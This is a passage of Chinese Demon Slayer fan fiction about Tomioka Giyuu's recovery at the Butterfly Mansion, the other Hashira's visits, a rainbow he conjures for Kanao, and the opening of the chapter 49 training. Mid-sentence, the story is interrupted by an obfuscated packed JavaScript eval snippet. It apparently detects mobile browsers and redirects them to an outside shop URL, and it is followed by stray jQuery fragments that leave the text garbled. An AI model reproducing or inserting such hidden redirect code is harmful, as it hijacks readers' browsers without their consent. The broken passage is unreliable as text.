水面会泛起涟漪,但等涟漪消失,便又如镜一般平静。 富冈义勇真的将水之呼吸发挥到了极致。 在中间休息的时候,护士把宇髄天元带来的热汤端了过来,很好喝。 富冈义勇准备等痊愈后,买点好看的宝石送给宇髄天元。 在进行第三项捉迷藏时,富冈义勇依旧输得一塌糊涂。即使经过小护士的放松,他的身体协调性也没有恢复过来。动作一快,就很容易摔倒,好在捉迷藏的区域都铺着软软的地毯,摔倒了也没有关系。 这一天的复健下来,富冈义勇也算明白为什么这三项会受欢迎了。 没人想输,所以会加倍努力恢复。 他也一样。 在回到病房后,富冈义勇半坐在床上,试着弯了弯右手,但还抬不起来。他将右手伸到身前,用力握了握。 富冈义勇轻轻叹息了一下。 根本用不上力。现在的力气,恐怕连刀都握不住。 他又看了看左手,握紧又松开。 相比右手,左手要好很多。 富冈义勇的惯用手是右手,但在对战时,很多时候都会双手握刀。现在更换左手握刀,虽然有些困难,但并不是一件完不成的事情。 他用左手做出握刀的姿势,坐在床上轻轻挥动。 水声缓缓,自他面前出现。 然后,浸湿了被褥。 在将彼岸河流劈开后,富冈义勇就能不用握着刀也用出水之呼吸的招式了。 但他自己很明显并没有这个认知,在看到湿透的被子时,直接整个人呆住了。 闯祸了。 “富冈先生,来喝今天的药了。”护士端着药进屋,就看到富冈义勇试图将被子藏在身后。 她笑了笑,打趣道:“怎么了?难不成富冈先生不小心把水洒到被子上面了吗?” 富冈义勇藏被子的手微微攥紧,头微微低着,脸上浮现出羞赧的淡淡红晕。 护士眨眨眼,迈出的步子直接停住。 不会真被她说中了吧? 她立马收起笑容,轻轻一咳,快速地走过去,将药放在床头柜:“富冈先生记得喝药,这个被子我觉得该换了,就直接抱走了,一会给你送个新的过来。” 护士眼疾手快,直接把被子从富冈义勇的身后拽起来,在察觉到湿意后,更是一溜烟地就跑出了病房,甚至贴心地关上了门。 富冈义勇重重地将身体砸到床上,捂着微微发烫的脸颊。 好丢人…… 但左手握刀的想法,确实是可行。等身体再好一点,专门练一练吧。 在宇髄天元来看过富冈义勇之后,其他几位柱也陆陆续续来探望了他。 悲鸣屿行冥过来时捉了好几条鱼,正好临近中午,就直接交给了厨房的小护士,说可以给富冈义勇煮鱼汤喝。 看来以前有队员去他训练的瀑布那里捉鱼的事情他知道得一清二楚。 悲鸣屿行冥双目不便,但听觉异常灵敏,即使呼吸声很微弱,也能察觉到富冈义勇呼吸时的痛楚。 “嗓子的伤还没有好吗?”悲鸣屿行冥坐在病床边,依旧双手合十,转动着手里的念珠。 富冈义勇的嗓子一直又疼又痒,要是稍不留意咳嗽一声,还会咳出血来。要不是有蝴蝶忍配的药剂能缓解痛意,呼吸都快成了一种折磨。 只是药剂起到了缓解的作用,却一直没有让他嗓子的伤变好。 富冈义勇说不了话,只能略带焦急地下了床,找了一名护士过来,让她帮忙将本子上的内容念出来。 “富冈先生说,他的嗓子可能是旧伤复发,现在不能说话,新的药也在研究中。”护士道。 悲鸣屿行冥不禁流泪:“我能听出你呼吸时的痛苦,富冈,要好好养伤才是。” “富冈先生说,他身上的外伤已经好了,只是肩膀还不能动,右手也用不上力气,问他还能否赶上特训。”护士尽职尽责地翻译。 悲鸣屿行冥思考了一下,回答:“这次的特训依旧由所有柱一起负责,也就是每个人只有三天时间。富冈,如果你想要参与,可以依旧负责最后的实战训练。” “不过这一批的新人已经经过了一段时间的战斗,总体实力会比往届要高。如果你的身体恢复不了,我并不建议你参加特训。” 护士继续翻译:“富冈先生说他到时候可以用左手,左手握刀的训练他已经在做了。” 护士忍不住心疼,先是伤到左肩,又是伤到右肩,这是担心以后肩膀再出事,提前适应双手分别握刀吗? 悲鸣屿行冥叹气:“虽然我觉得你可以安心养伤,但你难得对一件事上心,想参与就参与吧。不过万事还是要以身体优先。” 富冈义勇点点头,他明白的。他只是想尽到自己的职责,努力成为名副其实的水柱。 他对自身的实力很自信,却会担心有辱水柱之名。 他不会再觉得自己不配,只会觉得自己做得不够。 而他了解自己的身体情况,也很清楚他的能力。就算他的肩膀不能及时恢复,他用左手握刀同样能教导新人。 毕竟对战并非全靠力气,技巧和经验也很重要。 在一天天的复健里,富冈义勇的状态恢复了不少。 他手上的动作渐渐能跟上反应,也让小葵能很难再泼到他了。 富冈义勇做事一向一板一眼,泼向小葵的动作也没有半分犹豫。而被泼到的时候,小葵反而是更开心的那一个。 “太好了,富冈先生,复健的效果出来了!”小葵笑得很开心。 富冈义勇安静地点点头,嘴唇轻轻扬了扬。 极淡的笑容,却足以让人感到他的心中欢喜。 小葵觉得心也软成了一滩水,干劲十足地把位置让给了栗花落香奈乎。 栗花落香奈乎出生后就一直被父母的虐待,后面更是被卖给了人贩子,是被偶遇的蝴蝶香奈惠和蝴蝶忍买下来的。 她没有主见,也不怎么说话。要是没人告诉她做什么,就会一直坐在那里不动,甚至吃饭也是。不叫她吃饭,她会一直不吃。就算肚子一直饿得咕咕叫,也没有反应。 栗花落香奈乎的这幅样子,让蝴蝶忍特别发愁,还和姐姐蝴蝶香奈惠争辩过一场。 人都是有思想,会自主行动的。没办法自己思考行动的孩子真的是太危险了! 如果她的身边没有一个人在,那就只能任人欺负了! 蝴蝶香奈惠知道蝴蝶忍的好意,但还是一边笑着一边安抚蝴蝶忍,让她不要这么生气。 为了栗花落香奈乎的安全着想,蝴蝶香奈惠就干脆教了这孩子一个方法。 独自一人不知道该做什么的时候,就扔硬币来决定吧。 蝴蝶忍觉得姐姐的做法未免太儿戏,但完全争不过姐姐。 在蝴蝶香奈惠看来,每个人都有自己的性格特点,只是不说话,做不了决定,没关系的。 毕竟在蝴蝶香奈惠看来,这样的栗花落香奈乎也很可爱啊,她只是欠缺一个能让心中鲜花绽放的契机。 蝴蝶忍没理自己的姐姐,站在一旁生着闷气。 蝴蝶香奈惠就握住自己的刀,变出花瓣撒在她们身上。 每个孩子都是最漂亮的花,可能有很多已经绽放,成了美丽的花,但还有很多尚未长出花蕾,或是含苞待放。 拔苗助长只会让鲜花枯败,她们能做的,就是为这些孩子播撒雨露,然后静待她们的绽放。 栗花落香奈乎的天赋很高,仅仅是看着蝴蝶香奈惠练剑,就自行学习了花之呼吸,现在也开始了全集中常中的练习。 但就算这样,蝴蝶香奈惠还是没有让她去参加最终选拔,而是留在蝶屋,做普通队员的复健对手。 正如蝴蝶忍的担心那样,和鬼的战斗是需要瞬间做出决断的。投硬币适合平时做事,却不适用战斗。 在这孩子的花苞绽开之前,蝴蝶香奈惠是不会允许她去战斗的。 在复健室里,过来的队员很少有能比得过栗花落香奈乎的。 她实力强,又不说话,还一直挂着笑容。这种压迫感,都快让一些来复健的队员产生了心理阴影,觉得传统的复健形式都美妙了起来。 小葵在富冈义勇能轻松应对和自己的比试后,就直接让栗花落香奈乎代替自己做富冈义勇的对手。 在换人以后,富冈义勇确实比不过了。 栗花落香奈乎的情绪比较淡,泼起富冈义勇来也毫无心理压力。只是在与富冈义勇那双眼睛对视时,她的心中渐渐有了一些疑惑。 很平静,很安心。 那是最开始遇见蝴蝶香奈惠和蝴蝶忍时才有的感觉。 栗花落香奈乎很喜欢花,在硬币投出正面时,也会学着蝴蝶香奈惠握着刀给自己变出花瓣看。 看着花瓣漫天飞舞,轻轻飘落,栗花落香奈乎就会觉得格外安心。 但这种感觉,在看到富冈义勇的眼睛时,再一次出现了。 她想不明白为什么,毕竟这是她第一次见富冈义勇。 注意到栗花落香奈乎的注视,富冈义勇疑惑地回望。他左右看了看,拿起本子,在上面写字。 你看上去有些很疑惑?刚刚我哪里做得不对吗? 栗花落香奈乎眨眨眼,从口袋里拿出硬币,扔了起来。 富冈义勇更加不解,在她扔出硬币后,直接就伸手将硬币握住了。 是要练习接硬币吗?富冈义勇不明白地看着她。 栗花落香奈乎嘴唇张开,略带吃惊地看着富冈义勇。 硬币……被抢走了…… 她该怎么办? 一边的小葵装作没看见,带着三个小护士在旁边负责其他队员的复健。 富冈义勇以为这也是比试的一部分,握住硬币后就自己也扔了起来。 他在等着栗花落香奈乎将硬币抢走。 但栗花落香奈乎什么也没做,任由硬币掉到了地上,直接滚到了角落。她像是变成了石像,呆坐在原地。 富冈义勇更加疑惑了,歪头看着她,在本子上询问。 不是比试抢硬币吗? 栗花落香奈乎看着硬币的方向,距离有些远,她分不清硬币的正反面。 迎着富冈义勇疑惑的眼神,栗花落香奈乎张口:“那是,我做决定时会扔的硬币。” “我刚刚在想要不要回答你的问题。” 富冈义勇恍然,起身将远处的硬币捡了起来,还给了她,又在本子上朝她道歉,然后继续写。 那你要不要再扔一次?这一次我不抢了。 栗花落香奈乎盯着手里的硬币,还是又扔了一次。 硬币抛起又落下,栗花落香奈乎用手将硬币盖在手背上。 正面是说话,反面是…… 富冈义勇眼神平静,就这样看着她。 罕见地,栗花落香奈乎没有移开自己的手,看了一会手背,就直接与富冈义勇对视起来,轻轻地说:“你的眼睛,很漂亮,让人看到就会觉得很宁静。” 反面,也想说话。 富冈义勇点点头,在本子上写下谢谢两字。又在本子上询问,她不去看硬币的结果吗? 栗花落香奈乎唇边的笑意变得明显了一下,眼睛也眯起来:“因为不管是正面还是反面,都很想告诉你这件事。” 在富冈义勇将硬币抢走的那一刻,栗花落香奈乎心中的花苞颤动了一下。 不再是什么都无所谓,而是她也有了想要说出口的话。 富冈义勇点点头,原来如此。 之后,两个人就不再聊天,继续正经的比试。 在复健结束后,富冈义勇在本子上写。 可以和我去一下院子吗?作为刚刚夸赞的谢礼,想给你看一个场景。 栗花落香奈乎又扔了一次硬币,这次的结果是反面——不和他去。 她的脸上闪过一丝失落,最后还是拒绝了富冈义勇的邀请。 富冈义勇想了想,找了找小葵,在本子上询问了她一些事。 被询问的小葵想了想,还是点了点头,然后走出了房间,回来就拿了一把木刀过来。 在得到同意后,富冈义勇走了回来,来到房间的一侧,打开了房间的窗户。 他用左手接过来木刀,站在窗户下面,握着刀的左手从身侧向上挥舞。虽然不握刀他也能变出水,但还是握着刀会更稳定一些。 有水从房间的高处显现,又在顷刻间化作极细的雨丝,轻柔、绵密。 透过阳光,雨丝在屋内形成了一道彩虹。 这是水之呼吸里,干天的慈雨的变式。 没什么攻击力,纯粹好看,是他和蝴蝶香奈惠闲聊时,悟出来的一招。 蝴蝶香奈惠和他说,如果不知道如何答谢别人的好意,可以学她用花之呼吸变出花瓣。 富冈义勇变不出花瓣,只能变出一道彩虹作为答谢。 复健室一下子就变得安静,所有人都看着富冈义勇的方向。 正值中午,阳光明艳,细雨缓缓,七彩的虹挂在屋内。 美丽,却不惊艳。 祥和,却不孤寂。 在下一秒,整个房间传来爆炸一样的呼喊声。 “今天来复健,真是来值了!” “感谢香奈乎!香奈乎万岁!” “真不愧是水柱大人!” 富冈义勇不好意思地扭过脸,看着地上被打湿的毛毯。 虽然小葵答应他可以在屋里用这一招,但他要负责更换湿掉的毯子。当然,这件事最后被复健室里的其他队员给代劳了。 一旁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269198|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栗花落香奈乎愣愣地站在原地,看着那道彩虹,一时出了神。 有雨水浇在土壤,为鲜花的绽放,带来了一份生机。 在这之后,看到彩虹景象的队员一下子成了蝶屋的羡慕对象。 去的人开心得炫耀,没去的人悔恨万分。 原本不想和栗花落香奈乎比试的人,这下也不排斥了。比试输了也不介意,乐呵呵地撺掇她什么时候再让水柱大人变个彩虹出来。 那可是水柱大人变出来的彩虹! 许愿说不定能成真的那种! 面对兴奋的队员,栗花落香奈乎难得没有投硬币,笑眯眯地拒绝了他们的请求。 那是非常美丽的彩虹。 她不想主动去找富冈义勇说想再看一次,即使她真的很喜欢。 而被拒绝的队员们,只能接受一次又一次的惨败。 富冈义勇的复健稳步推进,来探病的人也依次到访。 炼狱杏寿郎来得很早,上午的时候就到了病房。 这一天恰好富冈义勇要做检查,不用去复健,就和炼狱杏寿郎聊了一天。 只是富冈义勇说不了话,更多还是炼狱杏寿郎在讲。 炼狱杏寿郎说了很多事情,出任务碰到的一些趣事,路上碰见的好吃的,更多还是关于自己的家人。弟弟炼狱千寿郎找到了自己的志向,每天为此努力着。还有他的父亲,在鬼杀队格外忙碌的那段时间,重新拿起了刀,接了任务出门。 谈及家人,炼狱杏寿郎脸上洋溢着开心与幸福,本就开朗的他像是放下了什么重担,变得更加坚定。 富冈义勇很为炼狱杏寿郎开心,在本子时不时回应着他的讲话。 “富冈,能杀死上弦鬼,你真的很了不起。”炼狱杏寿郎发自内心地夸赞。 而富冈义勇摇摇头,并没有完全接下这份称赞。 多亏了珠世小姐的药剂,如果没有药剂,我杀不了上弦之二。 炼狱杏寿郎拍拍他的左肩膀:“利用一切能利用的去杀死鬼,是每个队员都会做的事。珠世小姐很厉害,富冈你也很厉害,可不能妄自菲薄。” 富冈义勇自然知道。只是普通队员现下并不知道药剂的存在,对上同为柱的炼狱杏寿郎,他便不想抹除珠世小姐的功绩。 富冈义勇转移话题。 炼狱,有件事想和你商量。 炼狱杏寿郎点头:“你说便是。” 富冈义勇将自己在雪山遇到少年少女一事告诉了他,并询问能否替他去看一下这两个人的情况。 作为引荐人,富冈义勇本该亲自去。但他并未告知鳞泷老师自己伤重,现下身体更是没有完全恢复。如今四个月过去,他到底有些惦念这件事。 炼狱杏寿郎自然没有拒绝,点头应下:“我替你去一趟就是。但你想好怎么和鳞泷前辈解释是我过去了吗?” 富冈义勇愣住。 是啊。如果他无事,是不会让炼狱杏寿郎过去替他看人的。 他顿时呆坐在床上,眼睛都有些无神了。 炼狱杏寿郎笑笑,替他出主意:“要不我说你本想亲自来,但突然有紧急任务,就拜托我去?” 富冈义勇摇摇头,将这一页翻过去,重新写。 按照我的作风,我会把任务做完再过去。 炼狱杏寿郎摸着下巴思考。确实,富冈责任心很强,对待一件事,不会撒手不管。 他想了想,最后还是想不出好的理由:“那看来只能等富冈你完全好起来才能过去了。” 富冈到时候可以推脱任务忙,一时顾不上,那会才有闲暇回狭雾山。 但富冈义勇又放心不下,他的伤想要好到鳞泷老师完全看不出来,还不知道需要多久。 鳞泷老师的鼻子很灵,但凡他身上还有一丝药的味道,都能被闻得出来。 富冈义勇发愁地叹气。 “说起来,富冈,下一次最终选拔是在后年,你看上的这个少年能赶得上最近的一次吗?”炼狱杏寿郎和他闲聊。 富冈义勇回想了一下少年的表现。 我觉得他挺有天赋的,应该可以吧? 炼狱杏寿郎看着最后的问号,忍不住笑了笑。 富冈义勇注意到他的笑容,略带不自然地翻过这一页,在新一页上继续写。 那名少女的事我已经告诉了珠世小姐。为了保护他的妹妹,少年都必须通过最终选拔。我本想拜托你查看一下那名少年的近况,好方便我提前为少年做担保。但现下不了解情况,我也不知道该怎么和主公以及其他柱说。 鬼杀队有一条规矩就是不允许包庇恶鬼。纵然富冈义勇不觉得少女为恶,却无法让其他人也认同。 少女毕竟已经成了鬼,虽然现在尚未伤人,却不能保证以后。 作为他们的引荐人,他需要担起这份责任。 他不会允许少女有吃人的那天。 但如果少女哪天真的伤了人,他会毫无犹豫地杀了她,并承担一切罪责。 炼狱杏寿郎看着略有苦恼的富冈义勇,心中燃烧的火仿佛变得更旺了。 即使只有一面之缘,他也愿意用自己的未来去为他们铺路。 多年过去,富冈义勇一如既往让炼狱杏寿郎发自内心地感到尊敬。 去狭雾山查看少年近况的事暂时被搁置,两个人便聊起别的,等到天黑炼狱杏寿郎才离开。 继他之后,来的是不死川实弥。 他因为自身稀血的事,经常会利用自身血液来引诱鬼主动现身。在被蝴蝶忍骂过以后,他才收敛了一点,每次受伤也都乖乖来蝶屋处理伤口。 不死川实弥这次正好要来蝶屋疗伤,顺便就来探望富冈义勇。 只是很不巧,他来的时候,富冈义勇正在睡觉。 不死川实弥身上的伤并不重,已经包扎好了。他在进屋前就注意到富冈义勇睡着了,推门的动作都放轻了不少。 他站在富冈义勇的病床边,看着他有些恬静的睡颜。 不同与往常的冷峻,不死川实弥发现他并不讨厌富冈义勇这样的表情。 是只要让人看着就会觉得内心都变得宁静下来。 不死川实弥想到了自己死去的弟弟妹妹,他们睡着时也像这样。 完全的信任和放松。 炼狱杏寿郎和他聊过,富冈义勇之前给他送清火茶是真的觉得总生气对身体不好,并没有其他意思。他虽然接受了这个说法,但对富冈义勇依旧没有什么好的态度。 现在站在床边,就这样看着富冈义勇睡着的样子,不死川实弥心里积压着的不满几乎散了大半。 他来之前听说富冈义勇现在嗓子不舒服,来蝶屋之前就买了一些对嗓子好的茶叶。 没惊动富冈义勇,不死川实弥将茶叶放到了床头,就直接推门离开了。 等富冈义勇醒来,还是从小护士的口中得知茶叶是不死川实弥送来的。 得到允许以后,他每天就泡了起来,并在琢磨要不要再送点新的茶叶给不死川实弥。 这次不送清火的了。 面对几个柱的探望,富冈义勇在见时透无一郎时是最轻松的。 时透无一郎来的时候,富冈义勇正在喝药。 等喝完药以后,富冈义勇就看着时透无一郎,时透无一郎也看着他。 他们两个人就这样互相看着,谁也不说话。 时透无一郎是九个柱里年龄最小的那一个,是被天音带回鬼杀队的。那时候的他受伤很重,甚至还失去了记忆。 对什么都不感兴趣,却对鬼有着无限的愤怒。 他是个天才,在进去鬼杀队后两个月就成为了霞柱。 时透无一郎的话比富冈义勇还要少,两个人平时几乎没有交流。 就跟现在一样,病房里异常得安静。 还是等护士来叫富冈义勇去复健,时透无一郎才像是回神一样,对着富冈义勇点点头,然后就直接离开了。 对于时透无一郎失去的记忆,富冈义勇以前也没有办法。但现在的他隐隐有一个想法,只是还需要去验证。准备等有了成果之后,再说给大家听。 甘露寺蜜璃是某天下午来的,带了她特制的樱叶饼,非常松软。就算富冈义勇嗓子不舒服,也可以很容易就咽下去。 在得知富冈义勇病危时,甘露寺蜜璃是十分担心的。她一直很想来探病,但任务一个接着一个,完全闲不下来。 甘露寺蜜璃和炼狱杏寿郎一样,很喜欢和人聊天。她坐在病床边和富冈义勇分享着很多事情,而富冈义勇就这样安静地听她讲话,手里拿着樱叶饼慢慢吃着,时不时在本子上写几个字回应她。 等甘露寺蜜璃走后没多久,伊黑小芭内就过来了。 富冈义勇请他一起吃樱叶饼,说是甘露寺蜜璃做的,很好吃。 伊黑小芭内不爱吃东西,但还是拿起樱叶饼吃了起来。 富冈义勇还说不了话,伊黑小芭内也不喜欢他,见他没什么事,吃完手里的樱叶饼就准备走。 不过或许是看出来伊黑小芭内喜欢樱叶饼,富冈义勇就干脆让他多带走几块。 甘露寺蜜璃做了很多过来,他一个人也吃不完。 伊黑小芭内收下了樱叶饼,难得仔细地看了看富冈义勇。 这一次,他没再感受到悲伤。那份悲伤,悄无声息地散掉了。 伊黑小芭内盯着他那双眼睛看,虽然不理解为什么,但不可否认,他开始不讨厌这样的他了。 那双眼睛,现在很好看。 伊黑小芭内装好樱叶饼,朝他道了句谢,就离开了。但在走之前,让富冈义勇好好养病,不用操心别的。 对于伊黑小芭内的背影,富冈义勇点点头,表示自己会好好养伤。 在这期间,蝴蝶香奈惠为富冈义勇带来了新配的药。这个药是珠世和蝴蝶忍一起配的,很有效。 富冈义勇能感到嗓子的疼痛减弱不少,红肿也在慢慢消退了。 得知这件事的蝴蝶忍依旧一脸的不甘心,奈何技不如人,没有办法。 没过几天,富冈义勇就被允许说话了,但很久没出声,他的复健项目又新添了一项。 复健进行到现在,小葵和栗花落香奈乎都不是富冈义勇的对手了,但偏偏他的状态又没完全恢复,只能按照传统的复健形式做了起来。 或许是见识到富冈义勇的强大,一同复健的队员也开始斗志满满,想要追赶上富冈义勇的步伐。 而在富冈义勇继续复健的同时,偶尔也会参与到变种的复健里。 不是作为挑战者,而是被挑战者。 富冈义勇的右肩还没好,一动就疼,右手的力量也很小。但经过一段时间的训练,他左手的熟练度已经提高了不少。虽然还不如右手一样灵活,但也差不多了。 而且作为柱,尚不是完全状态的富冈义勇也不是这些队员能比得过的。 一个又一个人被他泼了一脸的汤药,很轻松地躲避这些人的追赶,无论哪一项,都显得十分游刃有余。 一时之间,富冈义勇成了复健室的大魔王,比栗花落香奈乎还要可怕,还要让人容易丧失斗志。 或许是看出来这群人的失落,富冈义勇站在屋里,轻轻开口:“要是谁……能赢了我……我就……给他……变彩虹看……” 他的嗓子到底还没完全好,说几个字就要歇一下,而且声音也很小,带着很明显的虚弱感。 有人想看他变彩虹的事到底传到了他的耳里,但富冈义勇也不是谁说想看彩虹就变给他们看的。 他又不是耍杂技的。 也就是现在见大家比较颓废,他才想要给他们添一份动力。 “!!!!” 好了,富冈义勇这话一出,复健室直接满员了。 不管需不需要复健的,全凑过来了,甚至惊动到蝴蝶香奈惠要来维持秩序。 蝴蝶香奈惠见大家斗志昂扬,一脸笑意地看着大家,倒也没有阻拦,干脆又找了几个空病房,腾出来给这群人用。 “大家都这么有活力,真是太好了。”蝴蝶香奈惠笑眯眯地站在栗花落香奈乎的身旁,问她,“香奈乎看上去也有变化了呢。” 栗花落香奈乎看着富冈义勇将茶水泼到一名队员的脸上,直愣愣地问:“老师,我也能去挑战吗?” 她也想再看一次彩虹。 蝴蝶香奈惠笑得开心:“当然可以啊。” 得到回答的栗花落香奈乎走了过去,接替失败的队员,坐到了富冈义勇的对面。 蝴蝶香奈惠看着热热闹闹的复健室,笑眯眯地回到自己的房间。 特训快要开始了,但富冈先生的伤还没有痊愈。干脆和其他人商量一下,把最后一项的实战地点定在蝶屋好了。 现在蝶屋的伤员少了很多,很多房间都空了出来,完全有地方让富冈先生教导新人。 而且在蝶屋,新人受伤了也能马上得到医治。富冈先生也可以趁休息的时候,继续自己的复健,不会耽误他的治疗。 那时候其他柱的训练也都结束了,也都可以直接过来蝶屋和富冈先生切磋比试,帮他恢复状态。 越想越觉得这个主意不错,蝴蝶香奈惠脸上的笑得越发温柔,直接就出了蝶屋,准备和其他人商量这件事去。 而就在富冈义勇能说话后,天音来探望他了。她问了问他的病情,还提了提之前他刚苏醒后没多久发生的事。 富冈义勇想起来他当时看到了家人和同伴的灵魂,一时也有些不好意思。 他的反应在别人看来是有些奇怪。 富冈义勇没纠结多久,直接将那天的事告诉了天音。 只是有关彼岸,以及他会被彼岸河流带走的事他都隐瞒了下来。这件事富冈义勇自认他能处理好,不希望他们担心。至于他心中想的那件事,现在的他还做不到,也就不打算告诉任何人。 天音在知道富冈义勇没事后,也放下了心,并把两个人的谈话告诉了产屋敷耀哉。 产屋敷耀哉当时在确认特训的名单,得知富冈义勇看见灵魂的事后也没怎么惊讶。 既然他身上都有诅咒的存在,那有人能看到灵魂也不足为奇。 只要富冈义勇身体没事,那就足够了。 “天音,你有没有问义勇能给我变个彩虹吗?”产屋敷耀哉看着文件,问得一本正经。 鬼杀队里没有什么事是他不知道的,蝶屋想看富冈义勇变彩虹这件事产屋敷耀哉自然也知道。 天音就这样看着他,也不回答。 产屋敷耀哉轻咳几下,当做自己什么也没说,继续工作了。 天音摇摇头。 谁想看就自己去说,她可不好意思问。 49.第 49 章 在预定的时间里,特训顺利召开。 九位柱全员参与,前三天依旧是理论教学和考试,后面依次是蛇柱的刀法矫正、音柱的体能训练、霞柱的速度训练、恋柱的柔韧性训练、花柱的应变能力、风柱的攻击训练、岩柱的意志训练,炎柱的多人合作训练以及最后水柱的实战训练。 作为伤员,富冈义勇依旧留在蝶屋,养伤的同时也在恢复自己的状态。 在理论课召开第二天的时候,几个柱结伴来了富冈义勇的病房,和他聊了天聊天,又陪他一起复健。 为了不影响其他队员,蝴蝶香奈惠重新布置了一个空房间,让富冈义勇单独使用。 甘露寺蜜璃作为几个柱里柔韧性最高的人,兴致勃勃地帮富冈义勇拉伸着身体。 “富冈先生,我就不握住你的右手了,如果疼的话,随时和我说哦。”甘露寺蜜璃面对富冈义勇坐下来。 富冈义勇的右肩是粉碎性骨折,现在过去五个月,还是没有好,得继续养着。 “好,麻烦你了。”富冈义勇现在说话已经恢复正常,只是还需要再喝几天的药。 其余几个人站在一边看着,商量一会谁去陪富冈义勇做后面的训练。 “拉伸有甘露寺,反应力可以我来。”宇髄天元看向旁边的伊黑小芭内,“伊黑,一会你陪富冈练刀吧。” “我可以先和他打一回。”不死川实弥对富冈义勇的左手刀很感兴趣。 伊黑小芭内自然没意见。 “虽然我也很想和富冈打,但他现在的体力可能撑不住三轮。等下次换我来啊。”炼狱杏寿郎声音爽朗。 “轮着来就是。”时透无一郎冒出来一句。 蝴蝶香奈惠笑着建议:“就是这个屋子有点小了,比试一会去外面院子吧。” “香奈惠,富冈肩膀恢复好大概还需要多久?”悲鸣屿行冥问道。 蝴蝶香奈惠看着还在拉伸身体的富冈义勇,声音轻柔:“可能还需要几个月的时间才能完全好。” 其余几个人齐齐点头,那就是富冈义勇最少还能在蝶屋待这么久。 挺好。 等富冈义勇做完拉伸,额头上已经出了不少的汗。只能说甘露寺蜜璃不愧是甘露寺蜜璃,比三个小护士更能舒缓他的身体。 富冈义勇现在觉得身体又酸又累的,而他知道这是一件好事。 宇髄天元走过去,伸手将富冈义勇拉起来。他华丽一笑:“来吧,我和你比反应力。” 富冈义勇揉了下肩膀,点点头:“好。” 甘露寺蜜璃注意到他的动作,有些担心地问:“富冈先生的肩膀不舒服吗?” 她刚刚有注意不碰富冈义勇的右肩,但还是让他难受了吗? 蝴蝶香奈惠也走了过来。 富冈义勇连忙解释:“没事的。只是身体被拉伸开,就显得右边肩膀感觉有点困。” 甘露寺蜜璃松了口气,蝴蝶香奈惠也放下了心。 “接下来的比试我可不会放水。”宇髄天元坐到反应力测试的桌子边,摸了摸自己头发上的宝石。 富冈义勇也走过去:“自当如此。” 房间里摆了好几个这样的桌子,富冈义勇和宇髄天元比着,其他人也闲不住,随机两两组合找个桌子去玩。 “你慢了!不死川。” “看我下轮赢你!” “时透,我来教你怎么玩。” “……好。” “香奈惠,头发弄湿好难洗的,咱们就不泼水了吧?” “好啊。咱们拿空杯子玩吧。” 悲鸣屿行冥碍于眼睛的问题,坐在一边听他们玩。房间里热热闹闹,其乐融融,让他不禁留下眼泪。 反应力训练里,汤药是特质的,被浇到头上或者脸上有一定缓解疲惫的作用。为了不浪费药,除了富冈义勇和宇髄天元那桌,放的都是普通的水。 最后,正经复健的富冈义勇被浇了一脸的药,而正经玩闹的几个人,到最后也不管规则了,直接拿着杯子在屋里一个跑一个躲,就为了把水泼过去。 拿毛巾擦了擦脸上和头发的水,富冈义勇就准备和大家出去切磋。 而在出去之前,宇髄天元又拿着毛巾好好擦干了他头上的水,还让蝴蝶香奈惠带富冈义勇换个病号服去。 本来就没伤好,别再感冒了。 趁着富冈义勇换衣服的时候,几个人转移了阵地,将木刀也拿了出来。 见富冈义勇还没来,不死川实弥和伊黑小芭内就先打了起来。 这俩是一点都没有收手,风暴席卷,蛇身蜿蜒。 木刀激烈地对撞,招式在转瞬变换。 有悄悄在旁边偷窥的队员,发现自己根本看不清他们的动作。 “回病房好好养伤去。”一个风刃就打了过去。 “是!” 偷看的队员也不敢看了,乖乖回去了。 富冈义勇换好衣服出来时,伊黑小芭内和不死川实弥还在打,他就站在一边看着他们。 两个人见富冈义勇出来,分别出了一招以后就收手了。 富冈义勇用左手握着刀,走到院子里,和不死川实弥对立而站。 不死川实弥将木刀伸出去,指向富冈义勇:“来让我看看你现在的实力如何吧。” 富冈义勇点头,摆出攻击的姿势。 两个人同时动作,木刀直接撞到一起。 富冈义勇扭身,刀身在空气中旋转划过,带出凌厉的水流。 不死川实弥没退半步,直接用刀身和攻击对上,用风斩碎了他的水。 “富冈,我还没见过你的十二之型,现在能用的出来吗?”不死川实弥拉近和富冈义勇的距离,边打边问他。 “威力会差一点,但可以用。”富冈义勇弹开不死川实弥的刀,左手反握木刀,右肩不动,右手微微抬起,抵住木刀的刀柄,直直往前一刺。 平稳的海面瞬间在富冈义勇身前出现,同时无数的水刺在他周身显现,直接冲着不死川实弥攻过去。 不死川实弥用出风之呼吸的招式,将水刺斩断,又打出去无数的风旋。可惜,这些攻击一一被海面吞没。 不死川实弥感到十分兴奋,越打越嗨。 富冈义勇收回右手,将刀重新握紧,十二之型直接转换三之型流流舞。 两个人不停变换着位置。 攻击、防御,防御的同时攻击。 看着不死川实弥打上头,伊黑小芭内不禁出声提醒:“不死川,该换人了。” 富冈义勇的体力有限,别一会没力气进行下一项训练了。 听到伊黑小芭内的声音,两个人才渐渐回神,纷纷收了招式。 “富冈,你这左手刀用得不错啊。”不死川实弥将木刀扛在自己的肩上。 现在富冈义勇还没痊愈,能和他打成这个样子,是真的厉害啊。 富冈义勇甩了甩手腕,轻轻叹息:“但力量和右手比还是差很多。” 不死川实弥轻啧:“就算是右手,你也比不过我。” 伊黑小芭内将不死川实弥换了下来,开始陪富冈义勇练左手的刀法。 这一次主要是为了帮富冈义勇适应左手,所以两个人都没有用呼吸法,只是单纯用刀与对战。 伊黑小芭内的刀路是九个柱里最不容易让人预料的,而富冈义勇的左手缺乏灵活性,和他对练也能增加左手的熟练度。 富冈义勇握紧手中的刀,只防不攻。 刀与刀的碰撞,水与蛇的斗争。 两个人打了好几个回合,但到后面富冈义勇的体力就渐渐跟不上了。 一时反应慢了一秒,他就没有及时躲开伊黑小芭内的攻击,手腕被伊黑小芭内的刀打中,一时脱力,手中的刀直接脱手了。 伊黑小芭内连忙停下动作,扶住没站稳的富冈义勇:“没事吧?” 富冈义勇摇摇头,呼吸有些乱:“没力气了。” 